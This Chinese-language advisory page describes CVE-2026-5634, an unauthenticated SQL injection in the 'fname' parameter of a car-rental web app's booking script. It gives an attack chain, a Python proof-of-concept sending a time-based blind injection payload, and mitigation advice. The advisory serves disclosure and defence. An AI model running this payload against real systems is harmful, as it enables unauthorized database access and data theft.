IPBUF安全漏洞报告
English
CVE-2026-5634 CVSS 7.3 高危

CVE-2026-5634: projectworlds汽车租赁系统SQL注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-5634
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
projectworlds Car Rental Project

相关标签

SQL注入Car Rental ProjectprojectworldsWeb安全远程代码执行高危漏洞

漏洞概述

projectworlds Car Rental Project 1.0版本中的/book_car.php文件存在SQL注入漏洞。由于参数处理组件对输入参数`fname`缺乏有效的过滤,攻击者可在无需认证的情况下远程发起攻击,恶意构造的SQL语句可能导致数据库信息泄露、数据篡改或服务拒绝。该漏洞利用代码已公开,风险较高。

技术细节

该漏洞源于projectworlds Car Rental Project 1.0版本在处理租车预订请求时,对用户输入的验证机制存在严重缺陷。具体而言,位于系统根目录下的/book_car.php脚本负责处理车辆预订逻辑,该脚本在接收HTTP请求中的`fname`参数时,未对其进行任何安全过滤或类型检查,直接将其拼接到后端SQL查询语句中执行。由于该漏洞的CVSS向量显示无需用户交互(UI:N)且无需身份认证(PR:N),攻击者可以轻易地通过网络(AV:N)远程发起攻击。攻击者只需构造包含恶意SQL代码的载荷(如UNION查询或布尔盲注语句)并将其赋值给`fname`参数发送至服务器。成功利用此漏洞后,攻击者能够绕过应用程序的逻辑限制,从数据库中提取敏感信息(如用户凭证、个人数据),甚至修改或删除数据,对系统的机密性、完整性和可用性造成全面影响。

攻击链分析

STEP 1
1. 信息收集
攻击者使用网络扫描工具识别目标服务器是否运行projectworlds Car Rental Project 1.0系统。
STEP 2
2. 漏洞探测
攻击者向目标系统的/book_car.php接口发送带有特殊字符的测试请求,分析服务器响应以确认参数过滤缺失。
STEP 3
3. 构造攻击载荷
根据探测结果,攻击者构造针对`fname`参数的恶意SQL注入代码,例如使用UNION SELECT提取数据。
STEP 4
4. 执行攻击
攻击者将包含恶意载荷的HTTP请求发送至服务器,后端数据库执行该恶意SQL语句。
STEP 5
5. 获取数据
攻击者从数据库的错误信息或响应页面中提取敏感数据,或进一步获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(target_url): # Vulnerable parameter identified in /book_car.php params = { "fname": "test' AND (SELECT SLEEP(5))-- -", # Time-based blind SQL injection payload "submit": "submit" } try: print(f"[+] Sending payload to {target_url}/book_car.php") response = requests.get(target_url + "/book_car.php", params=params, timeout=10) # Check if the response time indicates a successful delay if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: SQL Injection detected via 'fname' parameter.") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[Error] Connection failed: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target check_sqli(target)

影响范围

projectworlds Car Rental Project 1.0

防御指南

临时缓解措施
在官方发布修复补丁前,建议管理员修改/book_car.php源代码,对所有传入的参数(特别是fname)使用`mysqli_real_escape_string`或类似函数进行转义,并实施严格的输入白名单验证机制。同时,应确保数据库用户仅拥有必要的最小权限,防止数据被完全破坏。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表